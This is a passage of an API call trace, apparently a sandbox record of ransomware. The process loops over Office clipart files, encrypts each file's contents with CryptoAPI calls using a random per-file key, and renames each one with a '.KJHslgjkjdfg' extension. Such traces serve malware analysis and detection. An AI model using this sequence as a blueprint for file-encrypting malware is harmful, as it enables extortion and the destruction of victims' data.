hTemplateFile=0x0) returned 0x130 [0192.607] GetProcessHeap () returned 0x990000 [0192.607] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.607] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.607] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.607] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0192.609] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.609] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.609] GetProcessHeap () returned 0x990000 [0192.609] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.609] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.609] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.610] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.610] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.610] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.610] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.610] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.610] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.610] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.610] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.610] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.610] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xaf94, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xaf94, lpOverlapped=0x0) returned 1 [0192.612] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xafa0, dwBufLen=0xafa0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xafa0) returned 1 [0192.612] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.613] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xafa0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xafa0, lpOverlapped=0x0) returned 1 [0192.613] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.613] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.613] SetEndOfFile (hFile=0x130) returned 1 [0192.616] GetProcessHeap () returned 0x990000 [0192.616] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.616] GetProcessHeap () returned 0x990000 [0192.616] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.616] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf.kjhslgjkjdfg")) returned 1 [0192.617] CloseHandle (hObject=0x130) returned 1 [0192.617] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1714, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0103812.WMF", cAlternateFileName="")) returned 1 [0192.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.618] GetProcessHeap () returned 0x990000 [0192.618] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.618] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.618] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.618] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0192.621] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.621] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.621] GetProcessHeap () returned 0x990000 [0192.621] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.621] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.621] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.621] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.621] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.621] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.621] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.622] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.622] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.622] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.622] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.622] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.622] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1714, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1714, lpOverlapped=0x0) returned 1 [0192.623] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1720, dwBufLen=0x1720 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1720) returned 1 [0192.623] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.623] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1720, lpOverlapped=0x0) returned 1 [0192.623] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.623] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.623] SetEndOfFile (hFile=0x130) returned 1 [0192.626] GetProcessHeap () returned 0x990000 [0192.626] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.626] GetProcessHeap () returned 0x990000 [0192.626] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.626] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf.kjhslgjkjdfg")) returned 1 [0192.628] CloseHandle (hObject=0x130) returned 1 [0192.628] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5c2c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0103850.WMF", cAlternateFileName="")) returned 1 [0192.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.629] GetProcessHeap () returned 0x990000 [0192.629] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.629] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.629] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.629] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.631] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.631] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.631] GetProcessHeap () returned 0x990000 [0192.631] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.631] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.632] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.632] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.632] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.632] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.632] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.632] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.632] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.632] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.632] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.632] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.632] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5c2c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5c2c, lpOverlapped=0x0) returned 1 [0192.634] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5c30, dwBufLen=0x5c30 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5c30) returned 1 [0192.634] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.634] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5c30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5c30, lpOverlapped=0x0) returned 1 [0192.634] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.634] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5d04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.634] SetEndOfFile (hFile=0x130) returned 1 [0192.636] GetProcessHeap () returned 0x990000 [0192.636] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.636] GetProcessHeap () returned 0x990000 [0192.636] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.636] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf.kjhslgjkjdfg")) returned 1 [0192.637] CloseHandle (hObject=0x130) returned 1 [0192.637] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1434, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105230.WMF", cAlternateFileName="")) returned 1 [0192.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.638] GetProcessHeap () returned 0x990000 [0192.638] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.638] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.638] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.638] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0192.640] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.641] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.641] GetProcessHeap () returned 0x990000 [0192.641] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.641] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.641] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.641] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.641] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.641] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.641] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.641] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.641] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.641] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.642] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.642] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.642] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1434, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1434, lpOverlapped=0x0) returned 1 [0192.643] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1440, dwBufLen=0x1440 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1440) returned 1 [0192.643] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.643] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1440, lpOverlapped=0x0) returned 1 [0192.643] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.643] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.643] SetEndOfFile (hFile=0x130) returned 1 [0192.646] GetProcessHeap () returned 0x990000 [0192.646] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.646] GetProcessHeap () returned 0x990000 [0192.646] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.647] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf.kjhslgjkjdfg")) returned 1 [0192.648] CloseHandle (hObject=0x130) returned 1 [0192.648] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105232.WMF", cAlternateFileName="")) returned 1 [0192.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.649] GetProcessHeap () returned 0x990000 [0192.649] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.649] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.649] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.650] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.650] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.650] GetProcessHeap () returned 0x990000 [0192.650] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.650] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.650] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.650] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.652] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, 